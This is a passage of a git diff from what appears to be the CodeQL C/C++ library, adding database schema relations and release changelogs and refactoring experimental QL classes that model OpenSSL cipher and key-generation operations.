+| 380 = @referenceconvertsfromtemporary
+| 381 = @isconvertible
+| 382 = @isvalidwinrttype
+| 383 = @iswinclass
+| 384 = @iswininterface
+| 385 = @istriviallyequalitycomparable
+| 386 = @isscopedenum
+| 387 = @istriviallyrelocatable
+| 388 = @datasizeof
+| 389 = @c11_generic
+| 390 = @requires_expr
+| 391 = @nested_requirement
+| 392 = @compound_requirement
+| 393 = @concept_id
+;
+
+@var_args_expr = @vastartexpr
+ | @vaendexpr
+ | @vaargexpr
+ | @vacopyexpr
+ ;
+
+@builtin_op = @var_args_expr
+ | @noopexpr
+ | @offsetofexpr
+ | @intaddrexpr
+ | @hasassignexpr
+ | @hascopyexpr
+ | @hasnothrowassign
+ | @hasnothrowconstr
+ | @hasnothrowcopy
+ | @hastrivialassign
+ | @hastrivialconstr
+ | @hastrivialcopy
+ | @hastrivialdestructor
+ | @hasuserdestr
+ | @hasvirtualdestr
+ | @isabstractexpr
+ | @isbaseofexpr
+ | @isclassexpr
+ | @isconvtoexpr
+ | @isemptyexpr
+ | @isenumexpr
+ | @ispodexpr
+ | @ispolyexpr
+ | @isunionexpr
+ | @typescompexpr
+ | @builtinshufflevector
+ | @builtinconvertvector
+ | @builtinaddressof
+ | @istriviallyconstructibleexpr
+ | @isdestructibleexpr
+ | @isnothrowdestructibleexpr
+ | @istriviallydestructibleexpr
+ | @istriviallyassignableexpr
+ | @isnothrowassignableexpr
+ | @istrivialexpr
+ | @isstandardlayoutexpr
+ | @istriviallycopyableexpr
+ | @isliteraltypeexpr
+ | @hastrivialmoveconstructorexpr
+ | @hastrivialmoveassignexpr
+ | @hasnothrowmoveassignexpr
+ | @isconstructibleexpr
+ | @isnothrowconstructibleexpr
+ | @hasfinalizerexpr
+ | @isdelegateexpr
+ | @isinterfaceclassexpr
+ | @isrefarrayexpr
+ | @isrefclassexpr
+ | @issealedexpr
+ | @issimplevalueclassexpr
+ | @isvalueclassexpr
+ | @isfinalexpr
+ | @builtinchooseexpr
+ | @builtincomplex
+ | @isassignable
+ | @isaggregate
+ | @hasuniqueobjectrepresentations
+ | @builtinbitcast
+ | @builtinshuffle
+ | @issame
+ | @isfunction
+ | @islayoutcompatible
+ | @ispointerinterconvertiblebaseof
+ | @isarray
+ | @arrayrank
+ | @arrayextent
+ | @isarithmetic
+ | @iscompletetype
+ | @iscompound
+ | @isconst
+ | @isfloatingpoint
+ | @isfundamental
+ | @isintegral
+ | @islvaluereference
+ | @ismemberfunctionpointer
+ | @ismemberobjectpointer
+ | @ismemberpointer
+ | @isobject
+ | @ispointer
+ | @isreference
+ | @isrvaluereference
+ | @isscalar
+ | @issigned
+ | @isunsigned
+ | @isvoid
+ | @isvolatile
+ | @istriviallycopyassignable
+ | @isassignablenopreconditioncheck
+ | @referencebindstotemporary
+ | @issameas
+ | @builtinhasattribute
+ | @ispointerinterconvertiblewithclass
+ | @builtinispointerinterconvertiblewithclass
+ | @iscorrespondingmember
+ | @builtiniscorrespondingmember
+ | @isboundedarray
+ | @isunboundedarray
+ | @isreferenceable
+ | @isnothrowconvertible
+ | @referenceconstructsfromtemporary
+ | @referenceconvertsfromtemporary
+ | @isconvertible
+ | @isvalidwinrttype
+ | @iswinclass
+ | @iswininterface
+ | @istriviallyequalitycomparable
+ | @isscopedenum
+ | @istriviallyrelocatable
+ ;
+
+compound_requirement_is_noexcept(
+ int expr: @compound_requirement ref
+);
+
+new_allocated_type(
+ unique int expr: @new_expr ref,
+ int type_id: @type ref
+);
+
+new_array_allocated_type(
+ unique int expr: @new_array_expr ref,
+ int type_id: @type ref
+);
+
+/**
+ * The field being initialized by an initializer expression within an aggregate
+ * initializer for a class/struct/union. Position is used to sort repeated initializers.
+ */
+#keyset[aggregate, position]
+aggregate_field_init(
+ int aggregate: @aggregateliteral ref,
+ int initializer: @expr ref,
+ int field: @membervariable ref,
+ int position: int ref,
+ boolean is_designated: boolean ref
+);
+
+/**
+ * The index of the element being initialized by an initializer expression
+ * within an aggregate initializer for an array. Position is used to sort repeated initializers.
+ */
+#keyset[aggregate, position]
+aggregate_array_init(
+ int aggregate: @aggregateliteral ref,
+ int initializer: @expr ref,
+ int element_index: int ref,
+ int position: int ref,
+ boolean is_designated: boolean ref
+);
+
+@ctorinit = @ctordirectinit
+ | @ctorvirtualinit
+ | @ctorfieldinit
+ | @ctordelegatinginit;
+@dtordestruct = @dtordirectdestruct
+ | @dtorvirtualdestruct
+ | @dtorfielddestruct;
+
+
+condition_decl_bind(
+ unique int expr: @condition_decl ref,
+ unique int decl: @declaration ref
+);
+
+typeid_bind(
+ unique int expr: @type_id ref,
+ int type_id: @type ref
+);
+
+uuidof_bind(
+ unique int expr: @uuidof ref,
+ int type_id: @type ref
+);
+
+@sizeof_or_alignof = @runtime_sizeof | @runtime_alignof | @datasizeof | @sizeof_pack;
+
+sizeof_bind(
+ unique int expr: @sizeof_or_alignof ref,
+ int type_id: @type ref
+);
+
+code_block(
+ unique int block: @literal ref,
+ unique int routine: @function ref
+);
+
+lambdas(
+ unique int expr: @lambdaexpr ref,
+ string default_capture: string ref,
+ boolean has_explicit_return_type: boolean ref
+);
+
+lambda_capture(
+ unique int id: @lambdacapture,
+ int lambda: @lambdaexpr ref,
+ int index: int ref,
+ int field: @membervariable ref,
+ boolean captured_by_reference: boolean ref,
+ boolean is_implicit: boolean ref,
+ int location: @location_default ref
+);
+
+@funbindexpr = @routineexpr
+ | @new_expr
+ | @delete_expr
+ | @delete_array_expr
+ | @ctordirectinit
+ | @ctorvirtualinit
+ | @ctordelegatinginit
+ | @dtordirectdestruct
+ | @dtorvirtualdestruct;
+
+@varbindexpr = @varaccess | @ctorfieldinit | @dtorfielddestruct;
+@addressable = @function | @variable ;
+@accessible = @addressable | @enumconstant ;
+
+@access = @varaccess | @routineexpr ;
+
+fold(
+ int expr: @foldexpr ref,
+ string operator: string ref,
+ boolean is_left_fold: boolean ref
+);
+
+stmts(
+ unique int id: @stmt,
+ int kind: int ref,
+ int location: @location_stmt ref
+);
+
+case @stmt.kind of
+ 1 = @stmt_expr
+| 2 = @stmt_if
+| 3 = @stmt_while
+| 4 = @stmt_goto
+| 5 = @stmt_label
+| 6 = @stmt_return
+| 7 = @stmt_block
+| 8 = @stmt_end_test_while // do { ... } while ( ... )
+| 9 = @stmt_for
+| 10 = @stmt_switch_case
+| 11 = @stmt_switch
+| 13 = @stmt_asm // "asm" statement or the body of an asm function
+| 15 = @stmt_try_block
+| 16 = @stmt_microsoft_try // Microsoft
+| 17 = @stmt_decl
+| 18 = @stmt_set_vla_size // C99
+| 19 = @stmt_vla_decl // C99
+| 25 = @stmt_assigned_goto // GNU
+| 26 = @stmt_empty
+| 27 = @stmt_continue
+| 28 = @stmt_break
+| 29 = @stmt_range_based_for // C++11
+// ... 30 @stmt_at_autoreleasepool_block deprecated
+// ... 31 @stmt_objc_for_in deprecated
+// ... 32 @stmt_at_synchronized deprecated
+| 33 = @stmt_handler
+// ... 34 @stmt_finally_end deprecated
+| 35 = @stmt_constexpr_if
+| 37 = @stmt_co_return
+| 38 = @stmt_consteval_if
+| 39 = @stmt_not_consteval_if
+;
+
+type_vla(
+ int type_id: @type ref,
+ int decl: @stmt_vla_decl ref
+);
+
+variable_vla(
+ int var: @variable ref,
+ int decl: @stmt_vla_decl ref
+);
+
+type_is_vla(unique int type_id: @derivedtype ref)
+
+if_initialization(
+ unique int if_stmt: @stmt_if ref,
+ int init_id: @stmt ref
+);
+
+if_then(
+ unique int if_stmt: @stmt_if ref,
+ int then_id: @stmt ref
+);
+
+if_else(
+ unique int if_stmt: @stmt_if ref,
+ int else_id: @stmt ref
+);
+
+constexpr_if_initialization(
+ unique int constexpr_if_stmt: @stmt_constexpr_if ref,
+ int init_id: @stmt ref
+);
+
+constexpr_if_then(
+ unique int constexpr_if_stmt: @stmt_constexpr_if ref,
+ int then_id: @stmt ref
+);
+
+constexpr_if_else(
+ unique int constexpr_if_stmt: @stmt_constexpr_if ref,
+ int else_id: @stmt ref
+);
+
+@stmt_consteval_or_not_consteval_if = @stmt_consteval_if | @stmt_not_consteval_if;
+
+consteval_if_then(
+ unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref,
+ int then_id: @stmt ref
+);
+
+consteval_if_else(
+ unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref,
+ int else_id: @stmt ref
+);
+
+while_body(
+ unique int while_stmt: @stmt_while ref,
+ int body_id: @stmt ref
+);
+
+do_body(
+ unique int do_stmt: @stmt_end_test_while ref,
+ int body_id: @stmt ref
+);
+
+switch_initialization(
+ unique int switch_stmt: @stmt_switch ref,
+ int init_id: @stmt ref
+);
+
+#keyset[switch_stmt, index]
+switch_case(
+ int switch_stmt: @stmt_switch ref,
+ int index: int ref,
+ int case_id: @stmt_switch_case ref
+);
+
+switch_body(
+ unique int switch_stmt: @stmt_switch ref,
+ int body_id: @stmt ref
+);
+
+@stmt_for_or_range_based_for = @stmt_for
+ | @stmt_range_based_for;
+
+for_initialization(
+ unique int for_stmt: @stmt_for_or_range_based_for ref,
+ int init_id: @stmt ref
+);
+
+for_condition(
+ unique int for_stmt: @stmt_for ref,
+ int condition_id: @expr ref
+);
+
+for_update(
+ unique int for_stmt: @stmt_for ref,
+ int update_id: @expr ref
+);
+
+for_body(
+ unique int for_stmt: @stmt_for ref,
+ int body_id: @stmt ref
+);
+
+@stmtparent = @stmt | @expr_stmt ;
+stmtparents(
+ unique int id: @stmt ref,
+ int index: int ref,
+ int parent: @stmtparent ref
+);
+
+ishandler(unique int block: @stmt_block ref);
+
+@cfgnode = @stmt | @expr | @function | @initialiser ;
+
+stmt_decl_bind(
+ int stmt: @stmt_decl ref,
+ int num: int ref,
+ int decl: @declaration ref
+);
+
+stmt_decl_entry_bind(
+ int stmt: @stmt_decl ref,
+ int num: int ref,
+ int decl_entry: @element ref
+);
+
+@parameterized_element = @function | @stmt_block | @requires_expr;
+
+blockscope(
+ unique int block: @stmt_block ref,
+ int enclosing: @parameterized_element ref
+);
+
+@jump = @stmt_goto | @stmt_break | @stmt_continue;
+
+@jumporlabel = @jump | @stmt_label | @literal;
+
+jumpinfo(
+ unique int id: @jumporlabel ref,
+ string str: string ref,
+ int target: @stmt ref
+);
+
+preprocdirects(
+ unique int id: @preprocdirect,
+ int kind: int ref,
+ int location: @location_default ref
+);
+case @preprocdirect.kind of
+ 0 = @ppd_if
+| 1 = @ppd_ifdef
+| 2 = @ppd_ifndef
+| 3 = @ppd_elif
+| 4 = @ppd_else
+| 5 = @ppd_endif
+| 6 = @ppd_plain_include
+| 7 = @ppd_define
+| 8 = @ppd_undef
+| 9 = @ppd_line
+| 10 = @ppd_error
+| 11 = @ppd_pragma
+| 12 = @ppd_objc_import
+| 13 = @ppd_include_next
+| 14 = @ppd_ms_import
+| 15 = @ppd_elifdef
+| 16 = @ppd_elifndef
+| 18 = @ppd_warning
+;
+
+@ppd_include = @ppd_plain_include | @ppd_objc_import | @ppd_include_next | @ppd_ms_import;
+
+@ppd_branch = @ppd_if | @ppd_ifdef | @ppd_ifndef | @ppd_elif | @ppd_elifdef | @ppd_elifndef;
+
+preprocpair(
+ int begin : @ppd_branch ref,
+ int elseelifend : @preprocdirect ref
+);
+
+preproctrue(int branch : @ppd_branch ref);
+preprocfalse(int branch : @ppd_branch ref);
+
+preproctext(
+ unique int id: @preprocdirect ref,
+ string head: string ref,
+ string body: string ref
+);
+
+includes(
+ unique int id: @ppd_include ref,
+ int included: @file ref
+);
+
+link_targets(
+ int id: @link_target,
+ int binary: @file ref
+);
+
+link_parent(
+ int element : @element ref,
+ int link_target : @link_target ref
+);
+
+/* XML Files */
+
+xmlEncoding(unique int id: @file ref, string encoding: string ref);
+
+xmlDTDs(
+ unique int id: @xmldtd,
+ string root: string ref,
+ string publicId: string ref,
+ string systemId: string ref,
+ int fileid: @file ref
+);
+
+xmlElements(
+ unique int id: @xmlelement,
+ string name: string ref,
+ int parentid: @xmlparent ref,
+ int idx: int ref,
+ int fileid: @file ref
+);
+
+xmlAttrs(
+ unique int id: @xmlattribute,
+ int elementid: @xmlelement ref,
+ string name: string ref,
+ string value: string ref,
+ int idx: int ref,
+ int fileid: @file ref
+);
+
+xmlNs(
+ int id: @xmlnamespace,
+ string prefixName: string ref,
+ string URI: string ref,
+ int fileid: @file ref
+);
+
+xmlHasNs(
+ int elementId: @xmlnamespaceable ref,
+ int nsId: @xmlnamespace ref,
+ int fileid: @file ref
+);
+
+xmlComments(
+ unique int id: @xmlcomment,
+ string text: string ref,
+ int parentid: @xmlparent ref,
+ int fileid: @file ref
+);
+
+xmlChars(
+ unique int id: @xmlcharacters,
+ string text: string ref,
+ int parentid: @xmlparent ref,
+ int idx: int ref,
+ int isCDATA: int ref,
+ int fileid: @file ref
+);
+
+@xmlparent = @file | @xmlelement;
+@xmlnamespaceable = @xmlelement | @xmlattribute;
+
+xmllocations(
+ int xmlElement: @xmllocatable ref,
+ int location: @location_default ref
+);
+
+@xmllocatable = @xmlcharacters
+ | @xmlelement
+ | @xmlcomment
+ | @xmlattribute
+ | @xmldtd
+ | @file
+ | @xmlnamespace;
diff --git a/cpp/downgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/upgrade.properties b/cpp/downgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/upgrade.properties
new file mode 100644
index 00000000000..bc85f01c52e
--- /dev/null
+++ b/cpp/downgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/upgrade.properties
@@ -0,0 +1,3 @@
+description: Support __mfp8 type
+compatibility: backwards
+builtintypes.rel: run builtintypes.qlo
diff --git a/cpp/misc/bulk_generation_targets.json b/cpp/misc/bulk_generation_targets.json
deleted file mode 100644
index 4cddef005b2..00000000000
--- a/cpp/misc/bulk_generation_targets.json
+++ /dev/null
@@ -1,9 +0,0 @@
-{
- "strategy": "dca",
- "language": "cpp",
- "targets": [
- { "name": "openssl", "with-sources": false, "with-sinks": false },
- { "name": "sqlite", "with-sources": false, "with-sinks": false }
- ],
- "destination": "cpp/ql/lib/ext/generated"
-}
\ No newline at end of file
diff --git a/cpp/ql/lib/CHANGELOG.md b/cpp/ql/lib/CHANGELOG.md
index 4ad53d108e2..c46ab004464 100644
--- a/cpp/ql/lib/CHANGELOG.md
+++ b/cpp/ql/lib/CHANGELOG.md
@@ -1,3 +1,33 @@
+## 5.1.0
+
+### New Features
+
+* Added a predicate `getReferencedMember` to `UsingDeclarationEntry`, which yields a member depending on a type template parameter.
+
+## 5.0.0
+
+### Breaking Changes
+
+* Deleted the deprecated `userInputArgument` predicate and its convenience accessor from the `Security.qll`.
+* Deleted the deprecated `userInputReturned` predicate and its convenience accessor from the `Security.qll`.
+* Deleted the deprecated `userInputReturn` predicate from the `Security.qll`.
+* Deleted the deprecated `isUserInput` predicate and its convenience accessor from the `Security.qll`.
+* Deleted the deprecated `userInputArgument` predicate from the `SecurityOptions.qll`.
+* Deleted the deprecated `userInputReturned` predicate from the `SecurityOptions.qll`.
+
+### New Features
+
+* Added local flow source models for `ReadFile`, `ReadFileEx`, `MapViewOfFile`, `MapViewOfFile2`, `MapViewOfFile3`, `MapViewOfFile3FromApp`, `MapViewOfFileEx`, `MapViewOfFileFromApp`, `MapViewOfFileNuma2`, and `NtReadFile`.
+* Added the `pCmdLine` arguments of `WinMain` and `wWinMain` as local flow sources.
+* Added source models for `GetCommandLineA`, `GetCommandLineW`, `GetEnvironmentStringsA`, `GetEnvironmentStringsW`, `GetEnvironmentVariableA`, and `GetEnvironmentVariableW`.
+* Added summary models for `CommandLineToArgvA` and `CommandLineToArgvW`.
+* Added support for `wmain` as part of the ArgvSource model.
+
+### Bug Fixes
+
+* Fixed a problem where `asExpr()` on `DataFlow::Node` would never return `ArrayAggregateLiteral`s.
+* Fixed a problem where `asExpr()` on `DataFlow::Node` would never return `ClassAggregateLiteral`s.
+
## 4.3.1
### Bug Fixes
diff --git a/cpp/ql/lib/change-notes/2025-05-15-class-aggregate-literals.md b/cpp/ql/lib/change-notes/2025-05-15-class-aggregate-literals.md
deleted file mode 100644
index ea821d7d48d..00000000000
--- a/cpp/ql/lib/change-notes/2025-05-15-class-aggregate-literals.md
+++ /dev/null
@@ -1,4 +0,0 @@
----
-category: fix
----
-* Fixed a problem where `asExpr()` on `DataFlow::Node` would never return `ClassAggregateLiteral`s.
\ No newline at end of file
diff --git a/cpp/ql/lib/change-notes/2025-05-16-array-aggregate-literals.md b/cpp/ql/lib/change-notes/2025-05-16-array-aggregate-literals.md
deleted file mode 100644
index a1aec0a695a..00000000000
--- a/cpp/ql/lib/change-notes/2025-05-16-array-aggregate-literals.md
+++ /dev/null
@@ -1,4 +0,0 @@
----
-category: fix
----
-* Fixed a problem where `asExpr()` on `DataFlow::Node` would never return `ArrayAggregateLiteral`s.
\ No newline at end of file
diff --git a/cpp/ql/lib/change-notes/2025-05-16-wmain-support.md b/cpp/ql/lib/change-notes/2025-05-16-wmain-support.md
deleted file mode 100644
index bdc369bfedd..00000000000
--- a/cpp/ql/lib/change-notes/2025-05-16-wmain-support.md
+++ /dev/null
@@ -1,4 +0,0 @@
----
-category: feature
----
-* Added support for `wmain` as part of the ArgvSource model.
\ No newline at end of file
diff --git a/cpp/ql/lib/change-notes/2025-05-18-2025-May-outdated-deprecations.md b/cpp/ql/lib/change-notes/2025-05-18-2025-May-outdated-deprecations.md
deleted file mode 100644
index b1a31ea6eb5..00000000000
--- a/cpp/ql/lib/change-notes/2025-05-18-2025-May-outdated-deprecations.md
+++ /dev/null
@@ -1,9 +0,0 @@
----
-category: breaking
----
-* Deleted the deprecated `userInputArgument` predicate and its convenience accessor from the `Security.qll`.
-* Deleted the deprecated `userInputReturned` predicate and its convenience accessor from the `Security.qll`.
-* Deleted the deprecated `userInputReturn` predicate from the `Security.qll`.
-* Deleted the deprecated `isUserInput` predicate and its convenience accessor from the `Security.qll`.
-* Deleted the deprecated `userInputArgument` predicate from the `SecurityOptions.qll`.
-* Deleted the deprecated `userInputReturned` predicate from the `SecurityOptions.qll`.
diff --git a/cpp/ql/lib/change-notes/2025-05-23-windows-sources.md b/cpp/ql/lib/change-notes/2025-05-23-windows-sources.md
deleted file mode 100644
index e07dcbe8598..00000000000
--- a/cpp/ql/lib/change-notes/2025-05-23-windows-sources.md
+++ /dev/null
@@ -1,6 +0,0 @@
----
-category: feature
----
-* Added the `pCmdLine` arguments of `WinMain` and `wWinMain` as local flow sources.
-* Added source models for `GetCommandLineA`, `GetCommandLineW`, `GetEnvironmentStringsA`, `GetEnvironmentStringsW`, `GetEnvironmentVariableA`, and `GetEnvironmentVariableW`.
-* Added summary models for `CommandLineToArgvA` and `CommandLineToArgvW`.
diff --git a/cpp/ql/lib/change-notes/2025-05-27-windows-sources-2.md b/cpp/ql/lib/change-notes/2025-05-27-windows-sources-2.md
deleted file mode 100644
index 423a1a424f9..00000000000
--- a/cpp/ql/lib/change-notes/2025-05-27-windows-sources-2.md
+++ /dev/null
@@ -1,4 +0,0 @@
----
-category: feature
----
-* Added local flow source models for `ReadFile`, `ReadFileEx`, `MapViewOfFile`, `MapViewOfFile2`, `MapViewOfFile3`, `MapViewOfFile3FromApp`, `MapViewOfFileEx`, `MapViewOfFileFromApp`, `MapViewOfFileNuma2`, and `NtReadFile`.
\ No newline at end of file
diff --git a/cpp/ql/lib/change-notes/2025-06-06-lambda-parameters.md b/cpp/ql/lib/change-notes/2025-06-06-lambda-parameters.md
new file mode 100644
index 00000000000..44f9b12968d
--- /dev/null
+++ b/cpp/ql/lib/change-notes/2025-06-06-lambda-parameters.md
@@ -0,0 +1,4 @@
+---
+category: feature
+---
+* Added a predicate `hasParameterList` to `LambdaExpression` to capture whether a lambda has an explicitly specified parameter list.
diff --git a/cpp/ql/lib/change-notes/released/5.0.0.md b/cpp/ql/lib/change-notes/released/5.0.0.md
new file mode 100644
index 00000000000..212cb2bdd96
--- /dev/null
+++ b/cpp/ql/lib/change-notes/released/5.0.0.md
@@ -0,0 +1,23 @@
+## 5.0.0
+
+### Breaking Changes
+
+* Deleted the deprecated `userInputArgument` predicate and its convenience accessor from the `Security.qll`.
+* Deleted the deprecated `userInputReturned` predicate and its convenience accessor from the `Security.qll`.
+* Deleted the deprecated `userInputReturn` predicate from the `Security.qll`.
+* Deleted the deprecated `isUserInput` predicate and its convenience accessor from the `Security.qll`.
+* Deleted the deprecated `userInputArgument` predicate from the `SecurityOptions.qll`.
+* Deleted the deprecated `userInputReturned` predicate from the `SecurityOptions.qll`.
+
+### New Features
+
+* Added local flow source models for `ReadFile`, `ReadFileEx`, `MapViewOfFile`, `MapViewOfFile2`, `MapViewOfFile3`, `MapViewOfFile3FromApp`, `MapViewOfFileEx`, `MapViewOfFileFromApp`, `MapViewOfFileNuma2`, and `NtReadFile`.
+* Added the `pCmdLine` arguments of `WinMain` and `wWinMain` as local flow sources.
+* Added source models for `GetCommandLineA`, `GetCommandLineW`, `GetEnvironmentStringsA`, `GetEnvironmentStringsW`, `GetEnvironmentVariableA`, and `GetEnvironmentVariableW`.
+* Added summary models for `CommandLineToArgvA` and `CommandLineToArgvW`.
+* Added support for `wmain` as part of the ArgvSource model.
+
+### Bug Fixes
+
+* Fixed a problem where `asExpr()` on `DataFlow::Node` would never return `ArrayAggregateLiteral`s.
+* Fixed a problem where `asExpr()` on `DataFlow::Node` would never return `ClassAggregateLiteral`s.
diff --git a/cpp/ql/lib/change-notes/released/5.1.0.md b/cpp/ql/lib/change-notes/released/5.1.0.md
new file mode 100644
index 00000000000..b7da377062f
--- /dev/null
+++ b/cpp/ql/lib/change-notes/released/5.1.0.md
@@ -0,0 +1,5 @@
+## 5.1.0
+
+### New Features
+
+* Added a predicate `getReferencedMember` to `UsingDeclarationEntry`, which yields a member depending on a type template parameter.
diff --git a/cpp/ql/lib/codeql-pack.release.yml b/cpp/ql/lib/codeql-pack.release.yml
index 70ac3707fcd..dd8d287d010 100644
--- a/cpp/ql/lib/codeql-pack.release.yml
+++ b/cpp/ql/lib/codeql-pack.release.yml
@@ -1,2 +1,2 @@
---
-lastReleaseVersion: 4.3.1
+lastReleaseVersion: 5.1.0
diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/ECKeyGenOperation.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/ECKeyGenOperation.qll
index 4f07ecc0f9e..40103569cac 100644
--- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/ECKeyGenOperation.qll
+++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/ECKeyGenOperation.qll
@@ -4,42 +4,15 @@ private import OpenSSLOperationBase
private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumers
private import semmle.code.cpp.dataflow.new.DataFlow
-private module AlgGetterToAlgConsumerConfig implements DataFlow::ConfigSig {
- predicate isSource(DataFlow::Node source) {
- exists(OpenSSLAlgorithmValueConsumer c | c.getResultNode() = source)
- }
-
- predicate isSink(DataFlow::Node sink) {
- exists(ECKeyGenOperation c | c.getAlgorithmArg() = sink.asExpr())
- }
-}
-
-private module AlgGetterToAlgConsumerFlow = DataFlow::Global;
-
class ECKeyGenOperation extends OpenSSLOperation, Crypto::KeyGenerationOperationInstance {
ECKeyGenOperation() { this.(Call).getTarget().getName() = "EC_KEY_generate_key" }
- override Expr getOutputArg() {
- result = this.(Call) // return value of call
- }
-
- Expr getAlgorithmArg() { result = this.(Call).getArgument(0) }
-
- override Expr getInputArg() {
- // there is no 'input', in the sense that no data is being manipulated by the operation.
- // There is an input of an algorithm, but that is not the intention of the operation input arg.
- none()
- }
+ override Expr getAlgorithmArg() { result = this.(Call).getArgument(0) }
override Crypto::KeyArtifactType getOutputKeyType() { result = Crypto::TAsymmetricKeyType() }
override Crypto::ArtifactOutputDataFlowNode getOutputKeyArtifact() {
- result = this.getOutputNode()
- }
-
- override Crypto::AlgorithmValueConsumer getAnAlgorithmValueConsumer() {
- AlgGetterToAlgConsumerFlow::flow(result.(OpenSSLAlgorithmValueConsumer).getResultNode(),
- DataFlow::exprNode(this.getAlgorithmArg()))
+ result.asExpr() = this.(Call).getArgument(0)
}
override Crypto::ConsumerInputDataFlowNode getKeySizeConsumer() {
diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherInitializer.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherInitializer.qll
index 353a89645ec..e6e9954a333 100644
--- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherInitializer.qll
+++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherInitializer.qll
@@ -5,6 +5,7 @@
private import experimental.quantum.Language
private import experimental.quantum.OpenSSL.CtxFlow as CTXFlow
+private import OpenSSLOperationBase
module EncValToInitEncArgConfig implements DataFlow::ConfigSig {
predicate isSource(DataFlow::Node source) { source.asExpr().getValue().toInt() in [0, 1] }
@@ -34,19 +35,12 @@ Crypto::KeyOperationSubtype intToCipherOperationSubtype(int i) {
}
// TODO: need to add key consumer
-abstract class EVP_Cipher_Initializer extends Call {
- Expr getContextArg() { result = this.(Call).getArgument(0) }
+abstract class EVP_Cipher_Initializer extends EVPInitialize {
+ override Expr getAlgorithmArg() { result = this.(Call).getArgument(1) }
- Expr getAlgorithmArg() { result = this.(Call).getArgument(1) }
-
- abstract Expr getKeyArg();
-
- abstract Expr getIVArg();
-
- // abstract Crypto::CipherOperationSubtype getCipherOperationSubtype();
abstract Expr getOperationSubtypeArg();
- Crypto::KeyOperationSubtype getCipherOperationSubtype() {
+ override Crypto::KeyOperationSubtype getKeyOperationSubtype() {
if this.(Call).getTarget().getName().toLowerCase().matches("%encrypt%")
then result instanceof Crypto::TEncryptMode
else
diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherOperation.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherOperation.qll
index 233bfd50433..5f24d840ff8 100644
--- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherOperation.qll
+++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherOperation.qll
@@ -4,36 +4,23 @@ private import EVPCipherInitializer
private import OpenSSLOperationBase
private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumers
-private module AlgGetterToAlgConsumerConfig implements DataFlow::ConfigSig {
- predicate isSource(DataFlow::Node source) {
- exists(OpenSSLAlgorithmValueConsumer c | c.getResultNode() = source)
+class EVP_Cipher_Update_Call extends EVPUpdate {
+ EVP_Cipher_Update_Call() {
+ this.(Call).getTarget().getName() in [
+ "EVP_EncryptUpdate", "EVP_DecryptUpdate", "EVP_CipherUpdate"
+ ]
}
- predicate isSink(DataFlow::Node sink) {
- exists(EVP_Cipher_Operation c | c.getAlgorithmArg() = sink.asExpr())
- }
+ override Expr getInputArg() { result = this.(Call).getArgument(3) }
+
+ override Expr getOutputArg() { result = this.(Call).getArgument(1) }
}
-private module AlgGetterToAlgConsumerFlow = DataFlow::Global;
-
-// import experimental.quantum.OpenSSL.AlgorithmValueConsumers.AlgorithmValueConsumers
-// import OpenSSLOperation
-// class EVPCipherOutput extends CipherOutputArtifact {
-// EVPCipherOutput() { exists(EVP_Cipher_Operation op | op.getOutputArg() = this) }
-// override DataFlow::Node getOutputNode() { result.asDefiningArgument() = this }
-// }
-//
/**
* see: https://docs.openssl.org/master/man3/EVP_EncryptInit/#synopsis
* Base configuration for all EVP cipher operations.
- * NOTE: cannot extend instance of OpenSSLOperation, as we need to override
- * elements of OpenSSLOperation (i.e., we are creating an instance)
*/
-abstract class EVP_Cipher_Operation extends OpenSSLOperation, Crypto::KeyOperationInstance {
- Expr getContextArg() { result = this.(Call).getArgument(0) }
-
- Expr getAlgorithmArg() { this.getInitCall().getAlgorithmArg() = result }
-
+abstract class EVP_Cipher_Operation extends EVPOperation, Crypto::KeyOperationInstance {
override Expr getOutputArg() { result = this.(Call).getArgument(1) }
override Crypto::KeyOperationSubtype getKeyOperationSubtype() {
@@ -43,54 +30,35 @@ abstract class EVP_Cipher_Operation extends OpenSSLOperation, Crypto::KeyOperati
result instanceof Crypto::TDecryptMode and
this.(Call).getTarget().getName().toLowerCase().matches("%decrypt%")
or
- result = this.getInitCall().getCipherOperationSubtype() and
+ result = this.getInitCall().getKeyOperationSubtype() and
this.(Call).getTarget().getName().toLowerCase().matches("%cipher%")
}
- EVP_Cipher_Initializer getInitCall() {
- CTXFlow::ctxArgFlowsToCtxArg(result.getContextArg(), this.getContextArg())
- }
-
override Crypto::ConsumerInputDataFlowNode getNonceConsumer() {
this.getInitCall().getIVArg() = result.asExpr()
}
- override Crypto::ConsumerInputDataFlowNode getInputConsumer() { result = this.getInputNode() }
-
override Crypto::ConsumerInputDataFlowNode getKeyConsumer() {
this.getInitCall().getKeyArg() = result.asExpr()
+ // todo: or track to the EVP_PKEY_CTX_new
}
- override Crypto::ArtifactOutputDataFlowNode getOutputArtifact() { result = this.getOutputNode() }
+ override Crypto::ArtifactOutputDataFlowNode getOutputArtifact() {
+ result = EVPOperation.super.getOutputArtifact()
+ }
- override Crypto::AlgorithmValueConsumer getAnAlgorithmValueConsumer() {
- AlgGetterToAlgConsumerFlow::flow(result.(OpenSSLAlgorithmValueConsumer).getResultNode(),
- DataFlow::exprNode(this.getInitCall().getAlgorithmArg()))
+ override Crypto::ConsumerInputDataFlowNode getInputConsumer() {
+ result = EVPOperation.super.getInputConsumer()
}
}
-class EVP_Cipher_Call extends EVP_Cipher_Operation {
+class EVP_Cipher_Call extends EVPOperation, EVP_Cipher_Operation {
EVP_Cipher_Call() { this.(Call).getTarget().getName() = "EVP_Cipher" }
